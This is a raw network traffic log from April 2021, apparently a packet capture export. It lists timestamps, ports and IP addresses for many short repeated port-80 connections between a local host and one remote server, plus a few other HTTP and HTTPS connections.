Apr 28, 2021 23:23:42.135893106 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.136029959 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.136110067 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.137700081 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.137862921 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.229994059 CEST	80	50008	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.230113029 CEST	50008	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.232096910 CEST	80	50009	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.232186079 CEST	50009	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.233679056 CEST	50009	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.233689070 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.233943939 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.332994938 CEST	80	50009	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.341362953 CEST	80	50009	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.343161106 CEST	50009	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.760972023 CEST	50009	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.762501001 CEST	50011	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.859594107 CEST	80	50009	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.859776974 CEST	50009	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.862107038 CEST	80	50011	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.862199068 CEST	50011	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.862903118 CEST	50011	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.962804079 CEST	80	50011	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.970284939 CEST	80	50011	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.973210096 CEST	50011	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:43.169421911 CEST	50011	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:43.170424938 CEST	50012	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:43.268846989 CEST	80	50012	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:43.269016027 CEST	50012	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:43.269146919 CEST	80	50011	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:43.269237995 CEST	50011	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.157543898 CEST	50012	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.254734039 CEST	80	50012	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.260515928 CEST	80	50012	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.260709047 CEST	50012	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.367796898 CEST	50012	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.369210958 CEST	50014	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.464440107 CEST	80	50014	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.464659929 CEST	50014	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.465395927 CEST	50014	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.466427088 CEST	80	50012	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.466501951 CEST	50012	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.559214115 CEST	80	50014	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.565545082 CEST	80	50014	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.565721035 CEST	50014	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.679269075 CEST	50014	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.680329084 CEST	50015	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.775049925 CEST	80	50014	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.775253057 CEST	50014	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.775648117 CEST	80	50015	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.775820971 CEST	50015	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.776454926 CEST	50015	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.869132042 CEST	80	50015	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.877116919 CEST	80	50015	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:44.877276897 CEST	50015	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.993725061 CEST	50015	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:44.995178938 CEST	50016	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.086623907 CEST	80	50015	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.086798906 CEST	50015	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.092883110 CEST	80	50016	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.093080044 CEST	50016	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.093688965 CEST	50016	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.193145037 CEST	80	50016	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.197051048 CEST	80	50016	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.197261095 CEST	50016	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.311234951 CEST	50016	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.312442064 CEST	50017	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.409672022 CEST	80	50017	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.409857035 CEST	50017	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.410177946 CEST	80	50016	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.410260916 CEST	50016	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.410603046 CEST	50017	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.508275032 CEST	80	50017	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.511827946 CEST	80	50017	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.511969090 CEST	50017	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.564140081 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.617402077 CEST	50017	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.618886948 CEST	50019	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.663995028 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.664206982 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.664499044 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.712886095 CEST	80	50017	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.713025093 CEST	50017	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.713480949 CEST	80	50019	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.713602066 CEST	50019	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.714284897 CEST	50019	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.764420986 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.764550924 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.764600992 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.764636040 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.764831066 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.764866114 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.764900923 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.764921904 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.765192986 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.765264988 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.765345097 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.765600920 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.765615940 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.765674114 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.765726089 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.766114950 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.766185999 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.766328096 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.766434908 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.810265064 CEST	80	50019	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.813817024 CEST	80	50019	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.814002037 CEST	50019	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.864834070 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.864876032 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.864886999 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.864898920 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.865128040 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.865139961 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.865159988 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.865170956 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.865278006 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.865428925 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.865803957 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.865926027 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.866123915 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.866211891 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.929805994 CEST	50019	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.931247950 CEST	50020	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.964768887 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.964868069 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965043068 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.965073109 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965089083 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965095997 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965234041 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.965260983 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965274096 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965307951 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.965353966 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.965379953 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.965451956 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965464115 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965553999 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.965642929 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:45.965847015 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:45.965976000 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.024705887 CEST	80	50019	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.024883986 CEST	50019	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.026097059 CEST	80	50020	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.026211977 CEST	50020	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.026932001 CEST	50020	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.064771891 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.064801931 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.064891100 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065095901 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065109968 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065205097 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065247059 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065346003 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065536022 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065548897 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065689087 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065898895 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065912962 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065922976 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.065968037 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.066051960 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.066065073 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.067802906 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.068063021 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.123318911 CEST	80	50020	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.127455950 CEST	80	50020	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.127567053 CEST	50020	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.167860985 CEST	80	50018	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.168015957 CEST	50018	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.242188931 CEST	50020	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.243374109 CEST	50022	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.336796999 CEST	80	50020	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.336947918 CEST	50020	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.342820883 CEST	80	50022	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.342979908 CEST	50022	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.343494892 CEST	50022	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.442960024 CEST	80	50022	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.446626902 CEST	80	50022	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.446768045 CEST	50022	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.554872990 CEST	50022	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.556500912 CEST	50023	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.649601936 CEST	80	50023	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.649745941 CEST	50023	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.653635025 CEST	50023	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.654289961 CEST	80	50022	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.654397011 CEST	50022	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.748405933 CEST	80	50023	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.752237082 CEST	80	50023	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.752360106 CEST	50023	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.867974043 CEST	50023	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.869149923 CEST	50025	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.961304903 CEST	80	50023	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.961502075 CEST	50023	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.962213039 CEST	80	50025	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:46.962331057 CEST	50025	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:46.963030100 CEST	50025	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.056174040 CEST	80	50025	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.060190916 CEST	80	50025	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.060312986 CEST	50025	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.164433956 CEST	50025	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.165931940 CEST	50026	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.257671118 CEST	80	50025	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.259072065 CEST	50025	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.262767076 CEST	80	50026	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.262917995 CEST	50026	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.263606071 CEST	50026	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.272866964 CEST	49678	80	192.168.2.5	93.184.220.29
Apr 28, 2021 23:23:47.273073912 CEST	49676	80	192.168.2.5	2.20.142.209
Apr 28, 2021 23:23:47.273094893 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:23:47.273169041 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:23:47.273214102 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:23:47.313551903 CEST	80	49678	93.184.220.29	192.168.2.5
Apr 28, 2021 23:23:47.313703060 CEST	49678	80	192.168.2.5	93.184.220.29
Apr 28, 2021 23:23:47.313776970 CEST	80	49676	2.20.142.209	192.168.2.5
Apr 28, 2021 23:23:47.313864946 CEST	49676	80	192.168.2.5	2.20.142.209
Apr 28, 2021 23:23:47.333658934 CEST	443	49685	40.126.31.1	192.168.2.5
Apr 28, 2021 23:23:47.333826065 CEST	443	49675	40.126.31.1	192.168.2.5
Apr 28, 2021 23:23:47.333949089 CEST	49685	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:23:47.333981037 CEST	49675	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:23:47.334022999 CEST	443	49689	40.126.31.1	192.168.2.5
Apr 28, 2021 23:23:47.335416079 CEST	49689	443	192.168.2.5	40.126.31.1
Apr 28, 2021 23:23:47.360588074 CEST	80	50026	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.364031076 CEST	80	50026	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.364274025 CEST	50026	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.476962090 CEST	50026	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.478528023 CEST	50028	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.573807001 CEST	80	50028	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.573843956 CEST	80	50026	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.574091911 CEST	50026	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.574842930 CEST	50028	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.585479975 CEST	50028	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.680798054 CEST	80	50028	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.684416056 CEST	80	50028	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.684571981 CEST	50028	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.792498112 CEST	50028	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.804692984 CEST	50029	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.887810946 CEST	80	50028	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.887990952 CEST	50028	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.898499966 CEST	80	50029	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.898696899 CEST	50029	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.899187088 CEST	50029	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:47.995487928 CEST	80	50029	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.999047041 CEST	80	50029	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:47.999219894 CEST	50029	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.101906061 CEST	50029	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.103279114 CEST	50030	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.179800987 CEST	49680	443	192.168.2.5	20.190.160.72
Apr 28, 2021 23:23:48.197021008 CEST	80	50029	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.197179079 CEST	50029	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.203468084 CEST	80	50030	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.203681946 CEST	50030	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.204257011 CEST	50030	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.227965117 CEST	443	49680	20.190.160.72	192.168.2.5
Apr 28, 2021 23:23:48.228095055 CEST	49680	443	192.168.2.5	20.190.160.72
Apr 28, 2021 23:23:48.301328897 CEST	80	50030	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.304768085 CEST	80	50030	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.305847883 CEST	50030	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.415441990 CEST	50030	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.418021917 CEST	50031	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.511137962 CEST	80	50031	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.511257887 CEST	50031	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.511954069 CEST	50031	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.512299061 CEST	80	50030	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.512387991 CEST	50030	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.596407890 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.606460094 CEST	80	50031	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.610176086 CEST	80	50031	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.611709118 CEST	50031	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.700634956 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.700757980 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.701169014 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.727524996 CEST	50031	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.729902983 CEST	50033	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.806910038 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.807065964 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.807419062 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.807615042 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.810301065 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.810344934 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.810373068 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.810390949 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.810420036 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.810435057 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.810621977 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.810710907 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.822310925 CEST	80	50031	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.822504997 CEST	50031	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.826524973 CEST	80	50033	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.826723099 CEST	50033	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.827353954 CEST	50033	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.911324024 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.911453009 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.911801100 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.911823988 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.911869049 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.911926031 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.911967993 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.912026882 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.915035009 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.915060043 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.915076971 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.915177107 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.915215015 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.915229082 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.915247917 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.915285110 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.915344000 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:48.922472000 CEST	80	50033	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.926449060 CEST	80	50033	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:48.926690102 CEST	50033	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.017756939 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.017781973 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.017788887 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.017946005 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.018033981 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.018220901 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.018235922 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.018243074 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.018280029 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.018284082 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.018357038 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.018424988 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.018475056 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.020919085 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021009922 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.021140099 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021205902 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.021625042 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021688938 CEST	80	50032	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:49.021688938 CEST	50032	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:49.021703005 CEST	80	50032	176.111.174.114	192.168.2.5
